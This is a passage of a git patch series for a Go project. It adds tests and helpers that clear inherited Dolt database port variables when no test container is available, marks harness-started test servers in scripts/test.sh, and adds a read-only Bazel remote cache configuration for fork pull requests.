"os" + "testing" +) + +// gm-2g3g5r: EnsureDoltContainerForTestMain can return without ever reaching +// ensureSharedContainer, which is the only code that overwrites the ambient +// BEADS_DOLT_SERVER_PORT / BEADS_DOLT_PORT. Every TestMain then prints a WARN +// and runs the suite anyway, so the ambient port -- in a gc-managed city, the +// PRODUCTION dolt port -- would stay in force for the whole run. +// +// "No container" must mean "no server", not "whatever the environment says". +// +// This file holds the platform-independent half of that gate: the helper's own +// contract. The wiring -- that the failure paths actually call it -- is gated +// per-platform in gm2g3g5r_failopen_unix_test.go and +// gm2g3g5r_failopen_windows_test.go, because the two implementations of +// EnsureDoltContainerForTestMain fail for different reasons. + +// TestNeutralizeAmbientDoltPort_ClearsBothVariables pins the helper contract: +// both variables are cleared, not merely one. Clearing only +// BEADS_DOLT_SERVER_PORT would leave applyConfigDefaults falling back to the +// legacy BEADS_DOLT_PORT and resolving onto the ambient server anyway. +func TestNeutralizeAmbientDoltPort_ClearsBothVariables(t *testing.T) { + t.Setenv("BEADS_DOLT_SERVER_PORT", "59999") + t.Setenv("BEADS_DOLT_PORT", "59998") + + neutralizeAmbientDoltPort() + + for _, name := range []string{"BEADS_DOLT_SERVER_PORT", "BEADS_DOLT_PORT"} { + if v, ok := os.LookupEnv(name); ok { + t.Errorf("FAIL-OPEN: %s still set to %q; test-mode stores will resolve to it", name, v) + } + } +} + +// TestNeutralizeAmbientDoltPort_IsIdempotent guards the unset-when-already-unset +// path, which the failure path of EnsureDoltContainerForTestMain hits on any +// host that never had the variables set. +func TestNeutralizeAmbientDoltPort_IsIdempotent(t *testing.T) { + t.Setenv("BEADS_DOLT_SERVER_PORT", "59999") + t.Setenv("BEADS_DOLT_PORT", "59999") + + neutralizeAmbientDoltPort() + neutralizeAmbientDoltPort() + + for _, name := range []string{"BEADS_DOLT_SERVER_PORT", "BEADS_DOLT_PORT"} { + if v, ok := os.LookupEnv(name); ok { + t.Errorf("%s reappeared as %q after a second call", name, v) + } + } +} diff --git a/internal/testutil/gm2g3g5r_failopen_unix_test.go b/internal/testutil/gm2g3g5r_failopen_unix_test.go new file mode 100644 index 000000000..1aeca2c76 --- /dev/null +++ b/internal/testutil/gm2g3g5r_failopen_unix_test.go @@ -0,0 +1,198 @@ +//go:build !windows + +package testutil + +import ( + "errors" + "os" + "reflect" + "testing" +) + +// TestEnsureDoltContainerForTestMain_ClearsAmbientPortWhenNotReady is the +// regression gate for gm-2g3g5r on the platform where the readiness probe can +// actually vary. +// +// It forces the probe rather than consulting the real one. Reading the real +// checkDolt() would make this test assert nothing on any host that has Docker +// -- i.e. on every CI runner, which is the lane that matters -- and would also +// start the shared singleton container just to observe a failure path, with no +// TestMain in this package to terminate it. +// +// Every not-ready state is covered, because the invariant is about the absence +// of a container and not the reason for it: an explicit BEADS_TEST_SKIP=dolt +// opt-out must fail closed exactly as a Docker-less host does. +func TestEnsureDoltContainerForTestMain_ClearsAmbientPortWhenNotReady(t *testing.T) { + notReady := []doltReadiness{doltNoDocker, doltNoImage, doltWrongVersion, doltSkipped} + + for _, state := range notReady { + t.Run(state.String(), func(t *testing.T) { + t.Setenv("BEADS_DOLT_SERVER_PORT", "59999") + t.Setenv("BEADS_DOLT_PORT", "59999") + // The port must read as ambient whatever the surrounding run + // exports. ./scripts/test.sh with BEADS_TEST_SHARED_SERVER=1 sets + // the harness marker process-wide to the port it allocated, and + // the gate would invert on a run where that happened to be this + // fixture's port. + // TestEnsureDoltContainerForTestMain_KeepsHarnessProvisionedPort + // covers the marked cases on purpose. + t.Setenv(EnvSharedDoltServer, "") + + forceTestMainFailure(t, state, nil) + + err := EnsureDoltContainerForTestMain() + if err == nil { + t.Fatalf("EnsureDoltContainerForTestMain() = nil for state %s; want an error", state) + } + + for _, name := range []string{"BEADS_DOLT_SERVER_PORT", "BEADS_DOLT_PORT"} { + if v, ok := os.LookupEnv(name); ok { + t.Errorf("FAIL-OPEN: %s still %q after setup failed with %q; "+ + "test-mode stores will resolve to it", name, v, err) + } + } + }) + } +} + +// TestEnsureDoltContainerForTestMain_KeepsHarnessProvisionedPort is the other +// half of the invariant: "no container" must not erase a server the running +// harness started on purpose. ./scripts/test.sh with +// BEADS_TEST_SHARED_SERVER=1 starts one dockerless `dolt sql-server`, exports +// its port as BEADS_DOLT_PORT, and sets EnvSharedDoltServer to that same port; +// on a Docker-less host every one of these TestMains reaches a failure path, +// so clearing the port there would take the harness's own server down with it. +// +// The marker vouches for one port VALUE, never for the process, so the table +// is per variable: only a variable holding exactly the marked port survives. +// marked_but_divergent_var is the case that matters most. An unrelated +// BEADS_DOLT_SERVER_PORT beside the harness's port outranks it in +// applyConfigDefaults, so keeping it would carry the suite onto whatever +// server it names (gm-2g3g5r) with the marker set. +// +// Both failure paths run the whole table. They share one clear, and running +// the table through the second -- a container that would not start -- is what +// pins that it keeps sharing it. +func TestEnsureDoltContainerForTestMain_KeepsHarnessProvisionedPort(t *testing.T) { + const ( + harnessPort = "59998" // the port the harness allocated and marked + ambientPort = "59999" // reproProdPort in internal/storage/dolt: a production server + ) + failures := []struct { + name string + probe doltReadiness + startErr error + }{ + {name: "not_ready", probe: doltNoDocker}, + {name: "container_start_failed", probe: doltReady, startErr: errors.New("dolt container would not start")}, + } + cases := []struct { + name string + marker string + serverPort, port string // "" leaves the variable unset + wantServer, wantPort string // "" wants the variable unset + }{ + {name: "unmarked", serverPort: ambientPort, port: harnessPort}, + {name: "harness_port_kept", marker: harnessPort, port: harnessPort, wantPort: harnessPort}, + {name: "marked_but_divergent_var", marker: harnessPort, serverPort: ambientPort, port: harnessPort, wantPort: harnessPort}, + {name: "divergent_legacy_var", marker: harnessPort, serverPort: harnessPort, port: ambientPort, wantServer: harnessPort}, + {name: "both_vars_name_the_harness_port", marker: harnessPort, serverPort: harnessPort, port: harnessPort, wantServer: harnessPort, wantPort: harnessPort}, + {name: "marker_names_neither_var", marker: "59997", serverPort: ambientPort, port: harnessPort}, + // The boolean form an earlier revision of this change exported. It now + // names port 1, which neither variable holds, so a stale export of it + // fails closed. + {name: "boolean_marker", marker: "1", serverPort: ambientPort, port: harnessPort}, + } + + for _, f := range failures { + t.Run(f.name, func(t *testing.T) { + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + setOrUnsetEnvForTest(t, "BEADS_DOLT_SERVER_PORT", tc.serverPort) + setOrUnsetEnvForTest(t, "BEADS_DOLT_PORT", tc.port) + t.Setenv(EnvSharedDoltServer, tc.marker) + forceTestMainFailure(t, f.probe, f.startErr) + + if err := EnsureDoltContainerForTestMain(); err == nil { + t.Fatal("EnsureDoltContainerForTestMain() = nil; want an error, the marker does not start a container") + } + + for name, want := range map[string]string{ + "BEADS_DOLT_SERVER_PORT": tc.wantServer, + "BEADS_DOLT_PORT": tc.wantPort, + } { + got, ok := os.LookupEnv(name) + switch { + case want == "" && ok: + t.Errorf("FAIL-OPEN: %s still %q with %s=%q; only a variable holding "+ + "exactly the marked port survives", name, got, EnvSharedDoltServer, tc.marker) + case want != "" && (!ok || got != want): + t.Errorf("%s = %q (set=%v) with %s=%q; want %q -- the harness's own "+ + "shared server was erased", name, got, ok, EnvSharedDoltServer, tc.marker, want) + } + } + }) + } + }) + } +} + +// TestCheckDoltFn_DefaultsToRealProbe pins the seam shut: the variable exists +// for the tests above and must not be left pointing at a stub in shipped code. +// Function identity is the assertion that states that -- a non-nil check +// passes for any leaked stub, including one that reports doltReady and would +// send a suite at whatever server the environment names. +func TestCheckDoltFn_DefaultsToRealProbe(t *testing.T) { + if checkDoltFn == nil { + t.Fatal("checkDoltFn is nil; EnsureDoltContainerForTestMain would panic") + } + if got, want := reflect.ValueOf(checkDoltFn).Pointer(), reflect.ValueOf(checkDolt).Pointer(); got != want { + t.Fatalf("checkDoltFn does not point at checkDolt (%#x != %#x); the readiness "+ + "probe has been left seamed in shipped code", got, want) + } +} + +// TestStartSharedContainerFn_DefaultsToRealStart is the same pin for the +// container-start seam: a leaked stub that reports success would send every +// TestMain on to m.Run() with no container and nothing cleared. +func TestStartSharedContainerFn_DefaultsToRealStart(t *testing.T) { + if startSharedContainerFn == nil { + t.Fatal("startSharedContainerFn is nil; EnsureDoltContainerForTestMain would panic") + } + if got, want := reflect.ValueOf(startSharedContainerFn).Pointer(), reflect.ValueOf(startSharedContainer).Pointer(); got != want { + t.Fatalf("startSharedContainerFn does not point at startSharedContainer (%#x != %#x); "+ + "the container start has been left seamed in shipped code", got, want) + } +} + +// forceTestMainFailure sends EnsureDoltContainerForTestMain down one of its +// failure paths without Docker: the probe reports probe, and when that is +// doltReady the container start returns startErr. The real start never runs, +// so doltServerOnce stays unconsumed for this package's real-container test. +// A start attempted after a not-ready probe fails the test; that path has no +// business starting anything. +func forceTestMainFailure(t *testing.T, probe doltReadiness, startErr error) { + t.Helper() + restoreProbe, restoreStart := checkDoltFn, startSharedContainerFn + t.Cleanup(func() { checkDoltFn, startSharedContainerFn = restoreProbe, restoreStart }) + checkDoltFn = func() doltReadiness { return probe } + startSharedContainerFn = func() error { + if probe != doltReady { + t.Errorf("container start attempted after the probe reported %q", probe) + } + return startErr + } +} + +// setOrUnsetEnvForTest sets key to value for the duration of the test, or +// removes it when value is empty; the ambient value is restored on cleanup. +func setOrUnsetEnvForTest(t *testing.T, key, value string) { + t.Helper() + t.Setenv(key, value) + if value != "" { + return + } + if err := os.Unsetenv(key); err != nil { + t.Fatalf("unset %s: %v", key, err) + } +} diff --git a/internal/testutil/gm2g3g5r_failopen_windows_test.go b/internal/testutil/gm2g3g5r_failopen_windows_test.go new file mode 100644 index 000000000..0627881da --- /dev/null +++ b/internal/testutil/gm2g3g5r_failopen_windows_test.go @@ -0,0 +1,52 @@ +//go:build windows + +package testutil + +import ( + "os" + "testing" +) + +// TestEnsureDoltContainerForTestMain_ClearsAmbientPortOnWindows is the +// regression gate for gm-2g3g5r on Windows, where EnsureDoltContainerForTestMain +// is an unconditional failure stub and so needs no probe seam. +// +// The stub previously returned its error without clearing the ambient port -- +// the same fail-open this issue is about, just on the platform where it is +// guaranteed to trigger rather than merely likely to. +// +// Coverage, stated exactly: this gate is COMPILE-CHECKED, not CI-EXECUTED. +// The repo does run windows-latest jobs, but every one of them is a named +// selector on another package (.github/workflows/pr.yml runs +// -run '^TestIsServerProbablyRunning' ./cmd/bd, ./internal/doltversion/, +// -run '^TestWorktreeRemove' ./cmd/bd, and +// ./internal/storage/dbproxy/server/), main.yml's Windows job is build/smoke +// with no `go test`, and the Bazel lane builds host-platform Linux, which +// filters this file out by build tag. No lane names ./internal/testutil/, so a +// revert of the stub's neutralizeAmbientDoltPort() call would go unnoticed by +// every gate; `GOOS=windows go vet ./internal/testutil/` is what actually +// holds this file honest today. +// +// Executing it is newly feasible -- this branch is what made the package's +// Windows test binary compile at all (testdoltserver_env_test.go is now +// //go:build !windows) and the gates here are deterministic and Docker-free -- +// but adding that CI step would also newly execute the four pre-existing test +// functions in this package that compile on Windows and have never run there +// (suite_temp_test.go, testdoltbranch_test.go, tmpfs_test.go), so it is +// deliberately left to a follow-up rather than smuggled into this fix. +func TestEnsureDoltContainerForTestMain_ClearsAmbientPortOnWindows(t *testing.T) { + t.Setenv("BEADS_DOLT_SERVER_PORT", "59999") + t.Setenv("BEADS_DOLT_PORT", "59999") + + err := EnsureDoltContainerForTestMain() + if err == nil { + t.Fatal("EnsureDoltContainerForTestMain() = nil on Windows; want an error") + } + + for _, name := range []string{"BEADS_DOLT_SERVER_PORT", "BEADS_DOLT_PORT"} { + if v, ok := os.LookupEnv(name); ok { + t.Errorf("FAIL-OPEN: %s still %q after the Windows stub returned %q; "+ + "test-mode stores will resolve to it", name, v, err) + } + } +} diff --git a/internal/testutil/testdoltserver.go b/internal/testutil/testdoltserver.go index c8a8616fa..ad7ca817e 100644 --- a/internal/testutil/testdoltserver.go +++ b/internal/testutil/testdoltserver.go @@ -483,16 +483,142 @@ func ensureSharedContainer() { }) } +// checkDoltFn is the readiness probe used by EnsureDoltContainerForTestMain. +// It is a variable purely so the fail-closed regression test can force a +// not-ready state deterministically -- without a Docker daemon, and without +// starting the shared singleton container just to observe the failure path. +// Production code never reassigns it. The direct checkDolt() calls in the +// t.Skip paths above and below are deliberately left alone: they gate a skip, +// not the fail-closed behavior this seam exists to test. +var checkDoltFn = checkDolt + +// startSharedContainerFn starts the shared container once checkDoltFn reports +// ready. It is a variable for the same reason checkDoltFn is: the fail-closed +// tests reach the container-would-not-start path through it without consuming +// doltServerOnce, which would leave this package's real-container test running +// against a singleton that has already failed. Production code never +// reassigns it. +var startSharedContainerFn = startSharedContainer + +// EnvSharedDoltServer names the one Dolt port that a test harness started a +// server on for this process tree, as opposed to a port inherited from the +// surrounding environment. Its value is that port number: scripts/test.sh sets +// it to the same value as the BEADS_DOLT_PORT it exports for the dockerless +// `dolt sql-server` of its BEADS_TEST_SHARED_SERVER=1 flow. It vouches for that +// value only, never for the process: a port variable holding anything else is +// still ambient, however it got there. +// +// It is deliberately a distinct name from BEADS_TEST_SHARED_SERVER. That flag +// is also read by cmd/bd's shared-server integration test for an unrelated +// purpose, and it only says a shared server was asked for, not that one was +// started: the flow starts none when a port variable is already set, so the +// flag beside a port cannot tell the script's own port from an inherited one. +const EnvSharedDoltServer = "BEADS_TEST_SHARED_DOLT_SERVER" + +// sharedContainerErr reads the shared-container error under doltServerMu. +// Every write to doltServerErr takes that mutex (ensureSharedContainer, +// RestartSharedDoltContainer), so reads belong under it too; callers must not +// already hold the mutex. +func sharedContainerErr() error { + doltServerMu.Lock() + defer doltServerMu.Unlock() + return doltServerErr +} + +// startSharedContainer is ensureSharedContainer plus the error it recorded. +func startSharedContainer() error { + ensureSharedContainer() + return sharedContainerErr() +} + // EnsureDoltContainerForTestMain starts a shared Dolt container for use in // TestMain functions. Call TerminateDoltContainer() after m.Run() to clean up. -// Sets BEADS_DOLT_PORT and BEADS_DOLT_SERVER_PORT process-wide. +// On success it sets BEADS_DOLT_PORT and BEADS_DOLT_SERVER_PORT process-wide, +// which also means a container, when one can be started, takes precedence over +// any port the environment already named. +// +// On ANY failure -- Docker missing, image missing or wrong version, an +// explicit BEADS_TEST_SKIP=dolt opt-out, or a container that would not start +// -- it instead clears both variables (see neutralizeAmbientDoltPort) and +// returns an error. Callers that warn and run the suite anyway therefore +// cannot resolve a store onto an ambient server. +// +// The single exception is a variable holding exactly the port that +// EnvSharedDoltServer names, i.e. one a harness provisioned for this process +// tree: that is a dedicated test server and survives the failure paths (see +// neutralizeUnvouchedDoltPorts). Without that exception this function would +// erase the port scripts/test.sh exports for its own shared `dolt sql-server`, +// which on a Docker-less host is every one of these TestMains. func EnsureDoltContainerForTestMain() error { - if state := checkDolt(); state != doltReady { - return fmt.Errorf("%s", state) + var err error + if state := checkDoltFn(); state != doltReady { + err = fmt.Errorf("%s", state) + } else { + err = startSharedContainerFn() } + // One clear serves both failure paths, so "no usable container" and "a + // container that would not start" cannot drift apart. + if err != nil { + neutralizeUnvouchedDoltPorts() + } + return err +} - ensureSharedContainer() - return doltServerErr +// neutralizeUnvouchedDoltPorts is the clear EnsureDoltContainerForTestMain +// applies when it has no container: neutralizeAmbientDoltPort, except that a +// port variable holding exactly the port EnvSharedDoltServer names survives, +// and says so on stderr, because the suite is about to talk to that server. +// +// The decision is made per variable, not per process. scripts/test.sh vouches +// for the BEADS_DOLT_PORT it exports; an unrelated BEADS_DOLT_SERVER_PORT +// beside it -- which applyConfigDefaults in internal/storage/dolt resolves +// FIRST, falling back to BEADS_DOLT_PORT only when it is empty -- is cleared +// even though the marker is set, or it would outrank the harness's server and +// carry the suite onto whatever server it names (gm-2g3g5r). +func neutralizeUnvouchedDoltPorts() { + vouched := os.Getenv(EnvSharedDoltServer) + if vouched == "" { + neutralizeAmbientDoltPort() + return + } + for _, name := range []string{"BEADS_DOLT_SERVER_PORT", "BEADS_DOLT_PORT"} { + if os.Getenv(name) == vouched { + fmt.Fprintf(os.Stderr, "testutil: keeping %s=%s, the harness-provisioned test server named by %s\n", + name, vouched, EnvSharedDoltServer) + continue + } + _ = os.Unsetenv(name) + } +} + +// neutralizeAmbientDoltPort clears the inherited connection-port variables so +// that a TestMain which warns-and-continues without a container cannot resolve +// a store onto whatever server the ambient environment names -- in a gc-managed +// city, the production one (gm-2g3g5r). +// +// What this guarantees is exactly that: no ENVIRONMENT-NAMED port is honored. +// It is not the wider claim that no port is resolvable afterwards. Port +// resolution continues past the env vars into the file chain, and +// applyConfigDefaults derives a directory from filepath.Dir(cfg.Path) when +// cfg.BeadsDir is empty (internal/storage/dolt/store.go:1661-1664), so a +// reachable .beads/dolt-server.port can still supply a non-zero port -- the +// ServerPort == 0 arm of the BEADS_TEST_MODE guard (store.go:1683-1687) then +// never fires. Port 1 is forced only via isProductionPort, and +// production-port DETECTION is narrower than resolution: Rule 1 recognizes +// only DefaultSQLPort, and Rule 3 -- the only rule that sees a dynamic port -- +// needs an explicit cfg.BeadsDir and is suppressed by the BEADS_TEST_SERVER=1 +// that beads TestMains set. That residual is tracked in be-rl6tm; clearing the +// env vars removes the channel this leak actually traveled on, not every +// channel. +// +// This fires on EVERY not-ready state, not only "Docker unavailable": a +// missing or wrong-version image and an explicit BEADS_TEST_SKIP=dolt opt-out +// clear the ambient port too. That is deliberate. The invariant is about the +// absence of a test container, not about the reason for it -- an opted-out run +// has no more business reaching a shared server than a Docker-less one does. +func neutralizeAmbientDoltPort() { + _ = os.Unsetenv("BEADS_DOLT_SERVER_PORT") + _ = os.Unsetenv("BEADS_DOLT_PORT") } // RequireDoltContainer ensures a shared Dolt container is running. Skips the diff --git a/internal/testutil/testdoltserver_windows.go b/internal/testutil/testdoltserver_windows.go index cb211b351..8f2bf3276 100644 --- a/internal/testutil/testdoltserver_windows.go +++ b/internal/testutil/testdoltserver_windows.go @@ -16,12 +16,32 @@ func StartIsolatedDoltContainer(t *testing.T) string { return "" } -// EnsureDoltContainerForTestMain is not supported on Windows CI. +// EnsureDoltContainerForTestMain is not supported on Windows CI. It clears the +// ambient Dolt connection ports before returning, for the same reason the +// !windows implementation does on its failure paths (gm-2g3g5r): callers warn +// and run the suite anyway, so leaving an inherited BEADS_DOLT_SERVER_PORT in +// force would let a test-mode store resolve onto whatever server the +// environment names. Here the fail-open was unconditional rather than merely +// likely -- this stub never succeeds. +// +// The clear is unconditional here, without the !windows implementation's +// harness-provisioned exception (BEADS_TEST_SHARED_DOLT_SERVER): the only +// writer of that marker is scripts/test.sh, a bash harness the Windows lane +// does not run. Should that change, this stub needs the same exception; the +// stricter behavior is the safe direction to be wrong in. func EnsureDoltContainerForTestMain() error { + neutralizeAmbientDoltPort() fmt.Fprintln(os.Stderr, "WARN: Docker not available on Windows CI, skipping test server") return fmt.Errorf("Docker not available on Windows CI") } +// neutralizeAmbientDoltPort clears the inherited connection-port variables. +// See the !windows implementation in testdoltserver.go for the full rationale. +func neutralizeAmbientDoltPort() { + _ = os.Unsetenv("BEADS_DOLT_SERVER_PORT") + _ = os.Unsetenv("BEADS_DOLT_PORT") +} + // RequireDoltContainer is not supported on Windows CI. func RequireDoltContainer(t *testing.T) { t.Helper() diff --git a/scripts/test.sh b/scripts/test.sh index 45a61d750..212b745fb 100755 --- a/scripts/test.sh +++ b/scripts/test.sh @@ -121,9 +121,15 @@ fi # Optional: start a single shared Dolt test server for all packages. # When BEADS_TEST_SHARED_SERVER=1, we start one dolt sql-server and export -# BEADS_DOLT_PORT so every test package reuses it instead of spawning its own. -# This reduces 8-16+ concurrent dolt processes down to 1. -if [[ "${BEADS_TEST_SHARED_SERVER:-}" == "1" && -z "${BEADS_DOLT_PORT:-}" ]]; then +# BEADS_DOLT_PORT (plus BEADS_TEST_SHARED_DOLT_SERVER set to that same port, +# which marks it as ours rather than inherited) so every test package reuses it +# instead of spawning its own. This reduces 8-16+ concurrent dolt processes down +# to 1. Packages whose TestMain can start a Dolt container still prefer the +# container: it overwrites both port variables on success. Nothing starts when +# either port variable is already set: a port someone else named is not ours to +# vouch for. beads_test_env_enter cleared both above, so one can only still be +# set here when that isolation was skipped (e.g. BEADS_TEST_ENV_DISABLE=1). +if [[ "${BEADS_TEST_SHARED_SERVER:-}" == "1" && -z "${BEADS_DOLT_PORT:-}" && -z "${BEADS_DOLT_SERVER_PORT:-}" ]]; then if command -v dolt &>/dev/null; then SHARED_DOLT_DIR=$(mktemp -d /tmp/beads-shared-test-dolt-XXXXXX) DOLT_ROOT_PATH="$SHARED_DOLT_DIR" @@ -153,6 +159,19 @@ if [[ "${BEADS_TEST_SHARED_SERVER:-}" == "1" && -z "${BEADS_DOLT_PORT:-}" ]]; th if nc -z 127.0.0.1 "$SHARED_PORT" 2>/dev/null; then export BEADS_DOLT_PORT="$SHARED_PORT" + # Mark the port as harness-provisioned. testutil's + # EnsureDoltContainerForTestMain clears an ambient BEADS_DOLT_PORT + # whenever it is left without a container (gm-2g3g5r: an inherited + # port can be a production server), which would erase the server we + # just started on any host without Docker -- this flow's primary + # audience. The marker is what distinguishes "a test server we + # allocated" from "whatever the environment happened to name". Its + # value is the port it vouches for, so it covers the BEADS_DOLT_PORT + # exported above and no other variable; it is exported only here, + # only after the server answered, and only for a port this script + # allocated itself (the guard above requires both port variables to + # have been unset). + export BEADS_TEST_SHARED_DOLT_SERVER="$SHARED_PORT" export BEADS_TEST_MODE=1 echo "Shared test Dolt server started on port $SHARED_PORT (PID $SHARED_DOLT_PID)" >&2 cleanup_shared_server() { @@ -167,6 +186,8 @@ if [[ "${BEADS_TEST_SHARED_SERVER:-}" == "1" && -z "${BEADS_DOLT_PORT:-}" ]]; th rm -rf "$SHARED_DOLT_DIR" fi fi +elif [[ "${BEADS_TEST_SHARED_SERVER:-}" == "1" ]]; then + echo "WARN: BEADS_TEST_SHARED_SERVER=1 ignored: BEADS_DOLT_PORT or BEADS_DOLT_SERVER_PORT is already set, so no shared server was started" >&2 fi # Build go test command From 291987ea228c804f09fe336737fbc11dc09c55e6 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 1 Oct 2026 05:24:06 -0700 Subject: [PATCH 032/325] ci(bazel): fork PRs use rbe-west's anonymous read-only cache (#7065) * ci(bazel): fork PRs use rbe-west's anonymous read-only cache (mode cache) Fork PRs (unless bazel-farm.yml authorized them), rbe=cache dispatches and secret-less same-repo runs (Dependabot) now run in mode "cache": local execution on ubuntu-latest as before, plus .bazelrc's new fork-cache config, rbe-west's credential-free rbe-cache endpoint (instance oss, reads only). rbe=off keeps the old local mode without the cache. - .bazelrc: build:fork-cache. Only key-neutral flags (--jobs, --remote_*), so fork actions hash like trusted ones. --noremote_upload_local_results, and --remote_local_fallback plus --incompatible_remote_local_fallback_for_remote_cache: without both, a closed endpoint (farm kill switch) fails every action in GetCapabilities. - setup-bazel: BAZEL_FORK_CACHE=true appends --config=fork-cache; it is mutually exclusive with the RBE secrets; new output cache. - bazel.yml: RBE_INPUT_CACHE, mode cache, dispatch option cache; every setup-bazel step gets BAZEL_FORK_CACHE. Remote and fork-farm paths unchanged. - bazel-gate.sh: cache/false is valid and skips what local skips. - Policy tests: the two public endpoint lines are allowlisted in .bazelrc only; TestBazelForkCacheConfig pins the fork-cache contents and checks both fork-cache and remote-exec stay key neutral; decision, gate and rc-writer tests cover cache mode. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): fork cache gives up on a slow endpoint and uploads no BEP files Review fixes for the fork read-only cache (mode cache). - .bazelrc fork-cache: --remote_timeout 60 -> 15 and --experimental_circuit_breaker_strategy=failure, so a slow (not closed) endpoint stops being called once too many lookups fail instead of costing every lookup 60s x retries; --experimental_build_event_upload_strategy=local, because bazel.yml's --build_event_json_file and --profile otherwise make Bazel upload test logs and the profile over ByteStream. equivalence.py and check_testcases.py read test.xml from the local testlogs dir, not from BEP URIs, so they are unaffected. - Policy test: parseBazelrcOptions now scans plain command lines too (lane checks still ignore them), so `build|common --config=fork-cache` is caught. Outside fork-cache and remote-exec, no line (test: lines included) may turn uploads on, turn either fallback off, or set a non-local BEP upload strategy. fork-cache must end with the breaker, the local BEP strategy and a --remote_timeout of 1-15s; keyNeutralFlag accepts the breaker and BEP-strategy flags. - engdoc: the closed-endpoint fallback sentence now also describes the slow-endpoint path (timeout, breaker). bazel-farm.yml and pr.yml comments say fork PRs run in mode cache, not plain local. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): reconcile fork cache (mode cache) with the legacy embedded retirement After the rebase onto D2 step 1 (#7071), two policy tests failed against mode cache. - evalRBEExpr learns `inputs.rbe == 'cache'` (bazel.yml's RBE_INPUT_CACHE). The decision itself is unchanged and right for mode cache: covered never depends on the mode, forks and Dependabot (now mode cache) keep the legacy tier, and a covered same-repo PR without the secret (now mode cache, not local) still turns pr.yml's gate red. The named cases now pin the mode too, and the "mode alone makes it red" check includes cache. - TestBazelEmbeddedLaneCannotBeNarrowed treats fork-cache like remote-exec: a config setup-bazel's rc enables for every command. Its lines (and any config they reference) are now in use for the lane, so the rc narrowing regex applies to them, including a forbidden nested --config=. The setup-bazel scan accepts exactly --config=remote-exec and --config=fork-cache. - Comments in bazel.yml, pr.yml, pr-risk.yml and the engdoc that said missing-secret, fork or Dependabot runs take mode local now say cache. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 31 ++ .github/actions/setup-bazel/action.yml | 7 +- .github/actions/setup-bazel/write-bazelrc.sh | 25 +- .github/scripts/bazel-gate.sh | 6 +- .github/workflows/bazel-farm.yml | 15 +- .github/workflows/bazel.yml | 83 +++-- .github/workflows/pr-risk.yml | 4 +- .github/workflows/pr.yml | 20 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 43 ++- scripts/bazel_policy_test.go | 345 ++++++++++++++++++- scripts/ci_workflow_test.go | 130 +++++-- scripts/pr_risk_bazel_coverage_test.go | 54 +-- 12 files changed, 629 insertions(+), 134 deletions(-) diff --git a/.bazelrc b/.bazelrc index b700f8961..2ccf130de 100644 --- a/.bazelrc +++ b/.bazelrc @@ -246,6 +246,37 @@ build:js-wasm --platforms=@rules_go//go/toolchain:js_wasm build:js-wasm --use_target_platform_for_tests build:js-wasm --remote_download_outputs=toplevel +# Read-only anonymous cache for fork PRs: rbe-west's rbe-cache endpoint serves +# action-cache and CAS reads only (writes and Execute are refused by the farm) +# and needs no credentials, so it is committed (scripts/bazel_policy_test.go +# allowlists exactly the two endpoint lines). bazel.yml's rbe job selects it +# (mode "cache") for fork pull requests; setup-bazel adds --config=fork-cache. +# Only non-key flags differ from trusted runs, so fork actions hash like the +# trusted ones and hit what trusted CI executed. +build:fork-cache --remote_cache=grpcs://rbe-cache.ops.gascity.com:8443 +build:fork-cache --remote_instance_name=oss +build:fork-cache --remote_accept_cached +build:fork-cache --noremote_upload_local_results +# bazel.yml passes --build_event_json_file and --profile; with a remote cache +# Bazel would upload the files the build events reference (test logs, the +# profile) over ByteStream. Fork runs upload nothing. +build:fork-cache --experimental_build_event_upload_strategy=local +build:fork-cache --remote_download_minimal +# If the farm closes the endpoint (kill switch) GetCapabilities fails, and +# Bazel 9 then fails every action unless both of these are set. +build:fork-cache --remote_local_fallback +build:fork-cache --incompatible_remote_local_fallback_for_remote_cache +# Lookups are network-bound; local CPU work is still bounded by --local_resources. +build:fork-cache --jobs=64 +# A slow (not closed) endpoint: each lookup gives up after 15s per attempt, +# and the failure-rate circuit breaker stops calling the endpoint once too +# many lookups fail (Bazel's default: 10% within 60s); the rest run locally. +build:fork-cache --remote_timeout=15 +build:fork-cache --remote_retries=2 +build:fork-cache --experimental_circuit_breaker_strategy=failure +# The farm admits 16 connections per source IP. +build:fork-cache --remote_max_connections=8 + # Remote execution against any REAPI-compatible service. Only generic tuning # lives here; the executor endpoint and TLS credentials are never committed. # Developers put them in a gitignored user.bazelrc or .bazelrc.local; CI writes diff --git a/.github/actions/setup-bazel/action.yml b/.github/actions/setup-bazel/action.yml index 2b8479655..90651c146 100644 --- a/.github/actions/setup-bazel/action.yml +++ b/.github/actions/setup-bazel/action.yml @@ -7,12 +7,17 @@ description: > and write a CI bazelrc outside the workspace. When the caller passes all of BAZEL_REMOTE_EXECUTOR, RBE_TLS_CERT and RBE_TLS_KEY in the step env, that rc enables --config=remote-exec for every bazel command; with none of them the - job runs locally (fork PRs); a partial set fails. `bazel` on PATH is a + job runs locally; with BAZEL_FORK_CACHE=true (and no secrets) it enables + the read-only fork cache (--config=fork-cache, fork PRs); a partial set, + or the fork cache together with the secrets, fails. `bazel` on PATH is a wrapper that always passes the generated rc. outputs: remote: description: '"true" when remote execution is configured' value: ${{ steps.rc.outputs.remote }} + cache: + description: '"true" when the read-only fork cache (rbe-cache) is configured' + value: ${{ steps.rc.outputs.cache }} cache-restored: description: '"true" when a runner Bazel cache was restored (any prefix match)' value: ${{ steps.restore.outputs.cache-matched-key != '' }} diff --git a/.github/actions/setup-bazel/write-bazelrc.sh b/.github/actions/setup-bazel/write-bazelrc.sh index eeaec104c..d21add208 100644 --- a/.github/actions/setup-bazel/write-bazelrc.sh +++ b/.github/actions/setup-bazel/write-bazelrc.sh @@ -25,7 +25,12 @@ # cert path) and outside BAZEL_CI_CACHE_DIR (the runner cache must never store # credentials). The endpoint is masked in the job log. # -# Outputs (to $GITHUB_OUTPUT when set, else stdout): rc=, remote=true|false. +# BAZEL_FORK_CACHE=true (bazel.yml mode "cache": fork PRs and rbe=cache +# dispatches) appends --config=fork-cache: .bazelrc's credential-free, +# read-only rbe-west cache. It is mutually exclusive with the RBE secrets. +# +# Outputs (to $GITHUB_OUTPUT when set, else stdout): rc=, +# remote=true|false, cache=true|false. set -euo pipefail 